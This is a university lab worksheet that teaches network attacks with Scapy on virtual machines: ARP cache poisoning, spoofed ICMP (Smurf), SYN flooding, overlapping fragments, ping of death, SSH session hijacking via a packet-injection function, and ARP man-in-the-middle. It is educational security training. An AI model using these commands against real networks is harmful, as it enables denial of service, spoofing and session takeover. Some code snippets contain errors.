Scapy: Performing Network Attacks

BLOSSOM
Manchester Metropolitan University
(Funded by Higher Education Academy)
blossomlhan@gmail.com

1. Learning Objectives

This lab aims to

2. Preparation

1) Under Linux environment

2) Some files that you will need from /home/user/BlossomFiles/ScapyNetworkAttacks:

   - 'scapy-arp-mitm.py'

3) Some documents that you may need to refer to:

   - 'Virtual-MachineGuide.pdf'
   - 'Linux-Guide.pdf'
   - 'BLOSSOM-UserGuide.pdf'

3. Tasks

Setup & Installation

- 1: Start two virtual machines as you have done with previous exercises (see Virtual Machine Guide):

  ```
  # kvm -cdrom /var/tmp/BlossomFiles/blossom-0.98.iso -m 512 -net nic,macaddr=52:54:00:12:34:57 -net vde -name node-one
  ```

  ```
  # kvm -cdrom /var/tmp/BlossomFiles/blossom-0.98.iso -m 512 -net nic,macaddr=52:54:00:12:34:58 -net vde -name node-two
  ```

Task 1 ARP Cache Poisoning

1.1 First of all, the IP addresses for both virtual machines must be noted down as with the previous labs tasks, so that packets can be sent between both VMs.

1.2 With the IP addresses at hand, start scapy in one of the virtual machines and create an ARP packet, and then view the details of the ARP packet

```
#a=ARP()

#a.show()
```

1.3 Change the physical source and destination addresses, and the hardware source and destination addresses using the following commands:

```
#a.psrc=’1.1.1.1’

#a.hwsrc=’11:11:11:11:11:11’

#a.pdst= (IP Address of second VM)

#a.hwdst=’ff:ff:ff:ff:ff:ff’
```

The physical and hardware source addresses can be anything, the example is just for simplicity. The physical destination must be the IP address of the second virtual machine, and the hardware destination address is a broadcast address so it must remain as it is.

1.4 Send the packet across to the other virtual machine using the following command:

```
#send(a)
```

1.5 On the second virtual machine, open up a standard terminal and use the following command to view the ARP table:

```
#arp
```

This command will show an ARP table that displays the IP to MAC address mappings. The ARP packet that was created earlier should display as having an “Address” of 1.1.1.1 and a “HWaddress” of 11:11:11:11:11:11 within the ARP table.

Question: What could ARP poisoning potentially be used for? How would you defend against it?

(Note: as ARP protocol has no authentication scheme for the message and did not check and just cache the values received)

Task 2 Smurf Attacks

2.1 Simulating a Smurf Attack is very simple. The intention of this attack is to send a large amount of ICMP echo requests with the hopes of flooding a service until it has been denied, but the source IP addresses of the ICMP echo requests are spoofed to that of the intended victim.

For this example, the following two addresses will be used, and should altered accordingly depending on the source and destination addresses of the virtual machines being used.

Target Machine IP = 10.0.2.17

Source Machine IP = 10.0.2.16

2.2 In order to view the packet after it has been sent, the network traffic must be sniffed, and since we know what the source address and type of packet it is we are looking for, the following command can be run on the target virtual machine using scapy:

```
#a=sniff()
```

2.3 Using the source virtual machine now, an ICMP echo request must be created and sent with the source address of the target machine, and the destination address of the source machine.

```
#send(IP(src='10.0.2.17', dst='10.0.2.16')/ICMP())
```

2.4 The echo request can now be viewed on the target machine by viewing the summary of the network sniffing. Press CTRL+C and then use the following command to view the summary.

```
#a.nsummary()
```

Question: What does the ICMP echo request display? What is the potential for this attack?

Task 3 SYN Flooding Attack

3.1 SYN Flooding is a form of DoS attack where an attack sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

3.2 In scapy, create a layered packet using the following commands, using the destination address of the victim where appropriate:

```
#topt=[('Timestamp', (10,0))]
```

```
#p=IP(dst='10.0.2.17',
id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=
1000,window=1000,flags="S",options=topt)/"SYNFlood"
```

The randomised fields such as TTL and ID are used to help obfuscate the identity of the attacker.

3.3 Now that the packet for the SYN Flood has been created, a loop must be created that sends out the packets to the destination:

```
#ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
```

This will send out packets at 0.3 second intervals with a timeout of 4 seconds.

3.4 This shows the basic concept of the SYN Flood attack, as SYN requests will be sent in a quick succession and will eventually overload the target's system. A summary of both the answered and unanswered packets can be viewed using the following commands:

```
#ans.summary()
#unans.summary()
```

Question: What do you notice when attempting to use the virtual machine that is being attacked?

Task 4 Overlapping Fragments

4.1 IP Fragment overlapping occurs when two fragments contained within a single IP datagram have offsets that indicate that they overlap each other in positioning with the datagram. This can be simulated using scapy in the following manner.

4.2 Three fragments must be created within Scapy, all using the IP address of the destination machine. As per usual, the destination IP used in the following commands is an example and should be changed accordingly:

```
#dstIP='10.0.2.17'
#frag1=IP(dst=dstIP, id=12345, proto=1, frag=0, flags=1)/ICMP(type=8,
code=0, chksum=0xdce8)
#frag2=IP(dst=dstIP, id=12345, proto=1, frag=2, flags=1)/"ABABABAB"
#frag3=IP(dst=dstIP, id=12345, proto=1, frag=1,
flags=0)/"AAAAAAAABABABABACCCCCCCC"
```

4.3 Now that the three fragments have been created, a sniffer must be started on the destination machine so that the packets can be analysed after they're sent. Start scapy and then sniff for icmp packets on the destination machine:

```
#a = sniff(filter='icmp')
```

4.4 Whilst the sniffer in running on the destination machine, send each fragment sequentially from the source machine

```
#send(frag1)
#send(frag2)
#send(frag3)
```

4.5 After the fragments have been sent, stop the sniffer on the destination machine and analyse each bit of traffic by saving it to a variable and then viewing the information:

```
#a.nsummary()
#a[0]
#a[1]
#a[2]
#a[3]
```

This should display a full summary of the ICMP packets, as well as an individual summary for each packet. The fourth packet should show the receiver's ICMP echo response, which indicates the payload to be that of the overlapping fragment, meaning the second fragment contains an incorrect offset.

Question: Why could this potentially cause problems with a network?

Task 5 Attack - Ping of Death

5.1 This attack is very simple, and is based around the concept of sending a malicious ping to another computer that exceeds the maximum IPv4 packet size, which is 65,535 bytes.

5.2 On the second virtual machine, start sniffing for packets.

5.3 On the first virtual machine, use the following command to send a fragmented packet of over 65,535 bytes, where dip is IP address of the second virtual machine:

```
#send(fragment(IP(dst=dip)/ICMP()/('X'*60000))
```

5.4 Now, analyse the packet summary of the packets sniffed on the second virtual machine. The entire of the packet can be sent as it has been fragmented, but if the target computer reassembled the packet, a buffer overflow could occur which would in turn crash the system.

Task 6 TCP Hijacking

6.1 TCP Hijacking is when spoofed packets are used to take over a connection between a victim and a host machine by accessing the sequence number for a connection between the victim and the host. For this task, a python script will be written from scratch in a dynamic fashion, using the scapy library when necessary. Start python and import scapy using the following commands:

```
#python tcphijack.py
#from scapy.all import *
```

6.2 First of all, the variables must be declared, which are the destination ip address, the gateway address for the router, the port number to be used, and some filter criteria for later use. The destination ip address is the ip address of the other virtual machine, the gateway address for the router can be found by running the following command in command prompt (outside of the Python shell):

```
#route –n
```

The port number used for this task will be 22 (TCP Port for SSH connections). The following is an example of declaring the variables in the python shell:

```
#dip = '10.0.2.16'
#gateway = '10.0.2.2'
#port = 22
#filtre = 'host ' + dip + ' and port ' + port
```

6.3 After the variables have been declared, a method must be defined to perform the TCP Hijacking. The following set of commands perform the aforementioned task:

```
#def hijack(p):
#       if p[IP].src==dip and p[IP].dst==gateway:
#               print "Seq: " + str(p[TCP].seq) + " | Ack: " +
str(p[TCP].ack)
#               print "Hijack Seq: " + str(p[TCP].ack) + " |  Hijack Ack: " +
str(p[TCP].seq)
#               ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
#               ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl,
len=p[IP].len, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
#               tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport,
seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="PA", window=p[TCP].window,
options=p[TCP].options)
#               hijack = ether/ip/tcp/(cmd+"\n")
#               rcv=sendp(hijack)
```

NOTE: The # represents the start of a line, and always ensure that lines are indented correctly in python.

6.4 Now that the hijacking method has been written, the hijacking can begin. The following sniff command will perform this task:

```
#sniff(count=0, prn = lambda p : hijack(p), filter=filter, lfilter=lambda(f):
f.haslayer(IP) and f.haslayer(TCP) and f.haslayer(Ether))
```

6.5 Whilst the hijacking script is running on the 1st virtual machine, move on to the 2nd virtual machine and make an SSH connection to the router gateway using the following command:

```
#ssh –l <login_name> <gateway>
```

With login_name being your username, and gateway being the router gateway.

6.6 The script running on the 1st virtual machine should start to list the sequence numbers for any TCP packet sent over port 22 (ie, any packet relating to the SSH session currently in progress). This means that the session has been successfully hijacking, and that the connection has been compromised.

Question: What is happening to each TCP packet that is being hijacked? Read the method hijack() in order to develop an understanding of what is occurring.

Task 7 Man In The Middle Attack

7.1 For this task, three virtual machines are required, so run a third virtual machine.

7.2 The first and second machines will be communicating with each other, and the third machine will attempt to listen in to the connection by poisoning the ARP caches of both machines. This is where the python script ‘scapy-arp-mitm.py’ is required.

7.3 In different terminal tabs on the 3rd machine, run the script for each of the other two virtual machines IP addresses. This will start poisoning the ARP cache of both machines in a similar fashion to the ARP Cache Poisoning task earlier.

7.4 Now that both machines have their ARP cache poisoned, it is possible to listen to ARP communications between both the first and second machine by sniffing through the third machine. View the arp tables on both of the victim machines, and then try sniffing the connection between the 1st and 2nd virtual machines via a 3rd virtual machine.